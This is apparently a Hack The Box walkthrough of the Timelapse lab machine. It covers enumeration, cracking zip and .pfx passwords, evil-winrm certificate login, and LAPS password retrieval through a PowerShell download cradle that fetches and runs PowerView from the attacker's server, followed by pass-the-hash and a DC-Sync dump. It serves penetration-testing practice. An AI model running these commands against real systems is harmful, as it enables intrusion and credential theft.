Timelapse HTB Walkthrough
Timelapse Hack The Box Walkthrough/Writeup:
How I use variables & Wordlists:
-
Variables:
- In my commands you are going to see me use
$box
,$user
,$hash
,$domain
,$pass
often.- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
$box
= The IP of the box$pass
= Passwords I have access to.$user
= current user I am enumerating with.- Depending on where I am in the process this can change if I move laterally.
$domain
= the domain name e.g.sugarape.local
orcontoso.local
$machine
= the machine name e.g.DC01
- Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
- In my commands you are going to see me use
-
Wordlists:
- I have symlinks all setup so I can get to my passwords from
~/Wordlists
so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to/usr/share/wordlists
- I also use these additional wordlists:
- I have symlinks all setup so I can get to my passwords from
1. Enumeration:
NMAP:
Basic Scans:
- Basic TCP Scan:
nmap $box -Pn -oA TCPbasicScan
kali in HTB/BlogEntriesMade/Timelapse/scans/nmap ๐ฃ main 3GiB/7GiB | 268kiB/1GiB with /usr/bin/zsh ๐ 22:16:09 zsh โฏ nmap $box -Pn -oA TCPbasicScan Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 22:16 GMT Nmap scan report for 10.129.227.113 Host is up (0.040s latency). Not shown: 991 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 593/tcp open http-rpc-epmap 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl Nmap done: 1 IP address (1 host up) scanned in 4.41 seconds
- Initial thoughts:
- DNS
- Kerberos
- SMB
- LDAP
- RPC
Comprehensive Scans:
-
In depth scan TCP:
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
kali in content-org/Walkthroughs/HTB/BlogEntriesMade/Timelapse ๐ฃ main 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh ๐ 22:22:24 zsh โฏ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 06:14 GMT Stats: 0:02:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 77.90% done; ETC: 06:17 (0:00:35 remaining) Stats: 0:02:48 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 11.76% done; ETC: 06:18 (0:00:45 remaining) Nmap scan report for 10.129.123.90 Host is up (0.039s latency). Not shown: 65518 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-11 14:17:46Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_ssl-date: 2024-11-11T14:19:20+00:00; +8h00m00s from scanner time. | ssl-cert: Subject: commonName=dc01.timelapse.htb | Not valid before: 2021-10-25T14:05:29 |_Not valid after: 2022-10-25T14:25:29 | tls-alpn: |_ http/1.1 |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49695/tcp open msrpc Microsoft Windows RPC 49724/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (89%) Aggressive OS guesses: Microsoft Windows Server 2019 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-11-11T14:18:40 |_ start_date: N/A OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 262.82 seconds
LDAP 389
:
Using LDAP anonymous bind to enumerate further:
-
If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
- We can actually retrieve a significant amount of information via anonymous bind such as:
- A list of all users
- A list of all groups
- A list of all computers.
- User account attributes.
- The domain password policy.
- Enumerate users who are susceptible to AS-REPRoasting.
- Passwords stored in the description fields
- The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
- We can actually retrieve a significant amount of information via anonymous bind such as:
-
I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here
- https://github.com/bloodstiller/ldapire
- https://bloodstiller.com/cheatsheets/ldap-cheatsheet/#ldap-boxes-on-htb
python3 /home/kali/windowsTools/enumeration/ldapire.py $box
- It will dump general information & also detailed & simple information including:
- Groups
- Users
- It will dump general information & also detailed & simple information including:
-
It turns out the anonymous bind is not enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.
-
We have the naming context of the domain:
kali in HTB/BlogEntriesMade/Timelapse/scans/ldap ๐ฃ main 3GiB/7GiB | 268kiB/1GiB with /usr/bin/zsh ๐ 22:17:33 zsh โฏ python3 /home/kali/windowsTools/enumeration/ldapire.py $box Attempting to connect to 10.129.227.113 with SSL... Failed to connect with SSL. Attempting to connect to 10.129.227.113 with non-SSL... Connected successfully using anonymous bind. Retrieving server information... DSA info (from DSE): Supported LDAP versions: 3, 2 Naming contexts: DC=timelapse,DC=htb CN=Configuration,DC=timelapse,DC=htb CN=Schema,CN=Configuration,DC=timelapse,DC=htb DC=DomainDnsZones,DC=timelapse,DC=htb DC=ForestDnsZones,DC=timelapse,DC=htb
-
We have the domain functionality level:
Other: domainFunctionality: 7 forestFunctionality: 7 domainControllerFunctionality: 7 rootDomainNamingContext: DC=timelapse,DC=htb
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
+Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.
-
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels
-
Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.
-
In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.
-
Hereโs a list of functional level numbers and their corresponding Windows Server operating systems:
Functional Level Number Corresponding OS 0 Windows 2000 1 Windows Server 2003 Interim 2 Windows Server 2003 3 Windows Server 2008 4 Windows Server 2008 R2 5 Windows Server 2012 6 Windows Server 2012 R2 7 Windows Server 2016 8 Windows Server 2019 9 Windows Server 2022 - +Note+:
- Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
- As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
- +Note+:
-
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
We have the full server name:
- Again we can see this has the CN as the base (mentioned previously.)
serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=timelapse,DC=htb
- Again we can see this has the CN as the base (mentioned previously.)
-
-
It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.
- We have the naming context.
- Domain name.
Updating ETC/HOSTS & Variables:
-
Updated Domain & Machine Variables for Testing:
- Now that I have this information, I can update the
domain
andmachine
variables used in tests:update_var domain "timelapse.htb"
update_var machine "DC01"
- Now that I have this information, I can update the
-
Updating
/etc/hosts
for DNS and LDAP Queries:- I update my
/etc/hosts
file to enable tools like kerbrute for user enumeration and other tools that require DNS or LDAP for queries:echo "$box $domain $machine.$domain" | sudo tee -a /etc/hosts
- I update my
Syncing Clocks for Kerberos Exploitation:
- Since Kerberos is enabled on this host, it’s best practice to sync our clock with the hostโs. This helps avoid issues from clock misalignment, which can cause false negatives in Kerberos exploitation attempts.
sudo ntpdate -s $domain
- +Note+: I am doing this now as we have the DNS name etc.
DNS 53
:
- Using dnsenum to enumerate DNS entries:
dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
- Nothing of note.
Kerberos 88
:
Using Kerbrute to bruteforce Usernames:
- As kerberos is present we can enumerate users using kerbrute:
kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt
- No hits
Using netexec for ASReproasting:
- We should always try and asreproast with a null/guest session as it can lead to an easy win:
netexec ldap $box -u '' -p '' --asreproast asrep.txt
netexec ldap $box -u guest -p '' --asreproast asrep.txt
- Neither get hits.
SMB 445
:
Attempting to connect with NULL & Guest sessions:
- This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold:
-
netexec smb $box -u 'guest' -p '' --shares
- We have read access to shares as the guest user.
-
netexec smb $box -u '' -p '' --shares
- Null session disabled.
-
Enumerating Users with Impacket-lookupsid:
- We can use
impacket-lookupsid
to enumerate users on the domain:impacket-lookupsid $domain/guest@$machine.$domain -domain-sids
impacket-lookupsid guest@$box -domain-sids -no-pass
- +Note+: As we are using the “Guest” account we can just hit enter for a blank password
- Interesting users, I will add them to my user list.
Using smbclient to enumerate shares:
smbclient -U 'guest' "\\\\$box\\shares"
Finding LAPS related documentation on in the HelpDesk share:
-
Searching the helpdesk share shows alot of LAPS related information:
-
I download all the files:
- I check the documentation but it’s all official documentation by microsoft.
- +Note+: This does not directly tell us anything however we can most likely infer that LAPS is in use on this box somewhere.
Local Administrator Password Solution (LAPS) Primer:
-
LAPS is a Microsoft tool designed to manage and secure local administrator passwords on domain-joined machines by generating unique, random passwords.
-
Purpose: Prevents lateral movement and credential theft across systems by ensuring each machine has a unique local administrator password.
-
How it Works:
- Passwords are stored securely in Active Directory (AD) and tied to individual machines.
- Passwords are updated regularly based on Group Policy settings.
- Only authorized users/groups have access to these stored passwords.
-
Key Features:
- Automatic Password Rotation: Random passwords are generated and regularly updated, reducing exposure from old or reused passwords.
- Secure Storage: Passwords are stored in AD as an attribute of the computer object, protected by AD permissions.
- Access Control: Administrators can control who can view the passwords, ensuring limited and audited access.
-
Benefits:
- Mitigates Lateral Movement: Reduces the risk of a compromised local admin account being used to move laterally across systems.
- Enhanced Security: Unique passwords for each device eliminate risks associated with shared or default passwords.
- Simplicity and Automation: Password rotation and management are automated, decreasing administrative overhead.
-
Common Use Cases:
- Enforcing strong local admin credentials across enterprise environments.
- Reducing credential reuse and enhancing compliance for audits and regulatory standards.
-
Limitations:
- Only works on domain-joined Windows machines.
- Requires Active Directory schema modification, which may need approval from IT governance.
2. Foothold:
Finding a backup in the Dev share:
-
There is a file called
winrm_backup.zip
in the Dev share: -
I download it:
-
I try and open the file but it’s password protected:
- What is interesting is, is the fact that there is a
.pfx
cert in here, which should allow us to authenticate.
PFX Certificates in Windows: A Primer
What’s Inside a PFX File:
-
A PFX file (also known as PKCS#12) is like a secure digital envelope containing two essential pieces:
- A public key that others use to encrypt data or verify your identity
- A private key that only you have, used to decrypt data or prove it’s really you
-
Why They Matter in Windows:
- In the Windows world, PFX certificates handle several crucial security tasks:
- Securing web traffic through HTTPS
- Protecting Remote Desktop connections
- Enabling secure email in Outlook
- Verifying the authenticity of code and scripts
- Supporting Single Sign-On across applications
- In the Windows world, PFX certificates handle several crucial security tasks:
-
How Windows Handles PFX Files:
-
Windows stores these certificates in its Certificate Store, which you can think of as a secure vault for your digital credentials. The system protects the private keys and manages access to them, while making the public certificates available when needed.
-
Working with certificates in Windows is straightforward - the system provides built-in tools like the Certificate Import Wizard and Certificate Manager (certlm.msc) to handle PFX files. Once imported, Windows takes care of the heavy lifting of using these certificates for authentication and encryption.
-
- Important Considerations:
- A few key points to keep in mind about PFX certificates in Windows:
- They’re usually password-protected for additional security
- Windows can store them at either the user or machine level
- The system handles key storage security automatically
- Not all applications can use PFX format directly
- Managing multiple certificates across systems requires planning
- A few key points to keep in mind about PFX certificates in Windows:
Cracking the encrypted zip file using zip2john & john:
-
As the zip file is password protected we can use zip2john to generate a hash we can then crack:
zip2john winrm_backup.zip >> winrm.hash
-
Cracking the hash:
john winrm.hash --wordlist=/home/kali/Wordlists/rockyou.txt
- It cracks
-
Extracting the
.pfx
:- It works
Attempting to extract the private keys from the .pfx
:
- Initially I try and extract the certificate & key from the
pfx
but the password is not accepted:openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legaccy_dev_auth.pem -nodes
- No dice.
Cracking the .pfx
using pfx2john & john:
-
Like the zip before we can crack this pfx file to extract the password.
-
Generate a hash using
pfx2john
pfx2john legacyy_dev_auth.pfx >> pfx.hash
-
Crack:
john pfx.hash --wordlist=/home/kali/Wordlists/rockyou.txt
Extracting the private key & certificate with openssl from a .pfx
:
-
Extract the private key:
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legaccy_dev_auth-priv-key.pem -nodes
-
Extract the certificate:
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out legaccy_dev_auth-cert.pem -nodes
Connecting with evil-winrm to the host using certificates:
-
As we have extracted both the key and cert from the
.pfx
we can now authenticate withevil-winrm
evil-winrm -i $box -c legaccy_dev_auth-cert.pem -k legaccy_dev_auth-priv-key.pem -S
- +Note+: See how we used
S
for ssl as we are using cert based authentication.
-
Grab our user flag:
-
Check users on the host:
3. Privilege Escalation:
General Enumeration:
Check group membership:
- I check what groups we are part of:
whoami /groups
Check privileges:
- Check our privs:
whoami /priv
Checking PowerShell history:
As our user is part of the legacy devs there may be some interesting information in their PowerShell history.
- Check the file exists:
(Get-PSReadLineOption).HistorySavePath
- It does, lets download.
-
I go to download it but it fails:
-
I check the folder and can see the name of the file is actually
ConsoleHost_history.txt
-
I download it:
Finding clear text credentials in the PowerShell history file:
-
Looking through the file I find the clear text creds for the
svc_deploy
service account: -
I test the creds & they are valid:
Performing a bloodhound collection:
- Now that we have some credentials we can perform a bloodhound collection.
bloodhound-python -dc $machine.$domain -c All -u $user -p $pass -d $domain -ns $box
Finding out svc_deploy has ReadLAPSPassword privileges over the DC:
- Looking at bloodhound we can see that we are part of the LAPS_READERS groups which has
ReadLAPSPassword
privileges over the DC01, so we can read the machines password.
Retrieving DC01 LAPS Password with PowerView via download cradle:
-
To avoid AMSI I decide to use
PowerView.ps1
with a download cradle. This means I can use a download cradle to load the script directly into memory without needing to download anything onto the host itself.- +Note+: I know there are linux tool to extract the LAPS password however I wanted to use this methodology as an exercise.
-
I stand up my python server:
python3 -m http.server 9000
- On the target from an evil-winrm admin shell I use a download cradle to load the sript into memory:
iex(new-object net.webclient).downloadstring('http://10.10.14.97:9000/PowerView.ps1')
-
Let’s create a secure string, using svc_deploy’s creds:
$SecPassword = ConvertTo-SecureString '[svc_password]' -AsPlainText -Force
-
Create Credential Object for Authentication:
$Cred = New-Object System.Management.Automation.PSCredential('timelapse.htb\svc_deploy', $SecPassword)
-
Retrieve LAPS Password Using the Service Account:
Get-DomainObject DC01 -Credential $Cred -Properties "ms-mcs-AdmPwd",name
- +Note+: The LAPS password is stored in the “
ms-mcs-AdmPwd
” attribute.
-
Now that we have the
LAPS
password we can authenticate as the administrator:netexec smb $box -u $user -p $pass --shares
- Grabbing our flag:
impacket-psexec $domain/$user@$box -hashes :$hash
- There was no flag on the Administrators desktop.
- Looking through the box though there are other users; as we have enumerated all other users desktop let’s check out TRX.
- Flag found:
- +Note+:
- I had to use psexec as winrm stopped working (and continued to not work even after box resets)
- I had to actually perform this after the DC-Sync to retrieve the administrator hash as I could not use evil-winrm and the LAPS password to connect. I have since checked some known walktrhoughs and you should be able to authenticate so maybe I just got unlucky. So if you encounter the same issue, jump to my persistence section to view how to DC-Sync and then use the above approach.
4. Persistence:
Dumping NTDS.dit/DC-SYNC attack:
-
Perform DC-Sync attack using netexec:
netexec smb $box -u $user -p $pass -M ntdsutil
-
Extract all hashes from netexec
for file in /home/kali/.nxc/logs/*.ntds; do cat "$file" | cut -d ':' -f1,2,4 --output-delimiter=' ' | awk '{print $3, $2, $1}'; printf '\n'; done
Lessons Learned:
What did I learn?
- I learned alot about extracting credentials from .pfx files. That was fun.
- I learned that even if the box is being finnicky there will be a way to work around it.
What silly mistakes did I make?
- Not terrible this time. Nothing to write home about.
Sign off:
Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!
Until next time, hack the planet!
โ Bloodstiller
โ Get in touch bloodstiller at proton dot me